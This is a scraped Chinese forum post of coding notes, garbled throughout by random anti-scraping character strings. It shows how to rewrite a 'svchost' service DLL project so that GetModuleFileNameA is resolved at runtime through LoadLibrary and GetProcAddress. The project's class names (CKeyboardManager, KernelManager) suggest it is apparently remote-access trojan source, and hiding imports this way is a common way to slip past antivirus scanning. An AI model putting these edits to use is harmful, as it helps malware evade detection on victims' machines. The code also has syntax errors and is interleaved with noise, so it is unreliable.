
- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记7 h j+ S) K( e7 U* |
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h# W5 `- s3 T, e' G
----------------------------------------" k; L& l, m8 B: x7 J5 ^
DTDY.h:* x* z3 g; ~2 k/ \
8 j$ t9 ?0 \5 o" ~
#if _MSC_VER>1000
' Z7 a, N; i+ j/ l% J, W#pragma once9 ?7 O; `/ Y5 e, K, p7 z
#endif //_MSC_VER>1000
! F5 Z- c- y1 B5 s6 }! Z& j#include<windows.h>9 ^* q1 ^( L' H$ o7 G
7 D2 q- @- }$ D8 l, v- z# e. G, i. d
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);# H& z- Z; R! @' x) y' Z0 Z
class DTDY* g: d; [$ N1 J/ T' m- Y) h' N6 o
{
& I6 t6 f% ~5 Rpublic:3 p& y0 P# X+ k+ L( I* ~3 t
DTDY();3 k" K m: o3 y/ A7 Q9 Q! l
virtual ~DTDY();. l- f a+ r: `0 ?- J
public:- I" Y; Q* F0 j' W+ K6 v% b3 k9 a) F. _
static pGetModuleFileNameA MyGetModuleFileName;
[' B+ f! j3 h! q( r; _static BOOL FunInitiallization();
0 ~( }" W5 _$ Q/ a3 Q% w6 j};
4 s" K6 Y, o: b* m#endif2 u5 }4 H4 Y S5 c
----------------------------------------
4 N# \+ Q9 ?9 w7 y- g `3 w
! H; s0 ~. r' ~( C: v# UDTDY.cpp:
- t8 E" c! T. G( b4 W/ L! N) w% }' L
#include "DTDY.h"
# H% g% C$ j7 UpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;8 ?% j) o y" h' L3 s
DTDY:TDY(), N9 [3 \& Q+ W( r6 t4 J, J; {
{
9 y# z; W$ ], l}
( E! P: {5 F. p+ b* [4 K3 \DTDY::~DTDY()
, J4 i1 X" m$ c4 @# ~' z" R{
- n3 N ]. {8 a& B2 G}5 \# T0 `$ C$ D" |% ]# c$ m
BOOL DTDY::FunInitiallization()8 ?9 k6 A) L1 ^, g
{
8 j/ Q5 l1 D' b. e- X1 m( U) J5 VHMODULE hModule=LoadLibrary("kernel32.dll");7 s b6 x& T' c' b
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
: ]; N& Q/ m, s' bif(!MyGetModuleFileName=) return FALSE;
& b+ [% w4 ]* q7 n1 L6 p S7 i# O/ {6 U4 R% A! G- I2 u* C
return TRUE;
# ~6 ~0 L# r) n3 _! U" u! N}* q# P& `4 F {0 [7 ]6 b
----------------------------------------. g4 k# i: }0 @
svchost.cpp:) C+ ^% F! g4 ], r# W H8 J5 [- O- g
( v. d5 F* \. n- F z# c#include "DTDY.h"
( j8 z3 V- W% N, x1 e. N0 U$ c8 ~5 z1 L7 R0 b
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
" @4 r4 z& I/ o. e. G- u{
$ z% U* c% F5 b/ ?switch(ul_reason_for_call); O1 Y4 k4 Q, x; `+ E: ~2 ^8 y& a
{
2 q9 S$ W2 f* M+ c) @! v# Q8 F) h# |: s0 `case DLL_PROCESS_ATTACH:
) N; `0 G( `) y+ ]. F* Hif(!DTDY::FunInitiallization()) return FALSE;
( j" U+ I# g( @) [: m2 y$ v' `
) S6 G& s$ s1 f/ y9 K# ]break;. Y/ Q# r) e* n5 j. T9 V
}
1 U2 X! `4 t# U- }8 @$ _1 F}
: N7 ?7 K, [6 K/ S. V" \4 c o+ K% m( m) ~+ E
* t/ Z) }$ b" j5 q3 P
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
5 N6 C7 Y3 D6 G) F5 g改写为
! V# q6 C' i9 V* r m1 ODTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));& N% H0 k' X) _1 f% {
----------------------------------------( g3 ?6 X0 p3 t( O; g6 u, V1 ^
KernelManager.cpp:9 i* j$ o5 h3 v: U! `/ s' Z g" A
. \' r! ]( x. o$ |+ d% W
#include "../DTDY.h"
* i+ C# a% E9 zGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));2 W) \; I5 M. ?, h1 T2 K
改写为
* d$ a Z" {0 i# ]4 e# b. P4 ^DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));& k3 t. n! G; ?! k* D" \" d- Z
---------------------------------------- |
|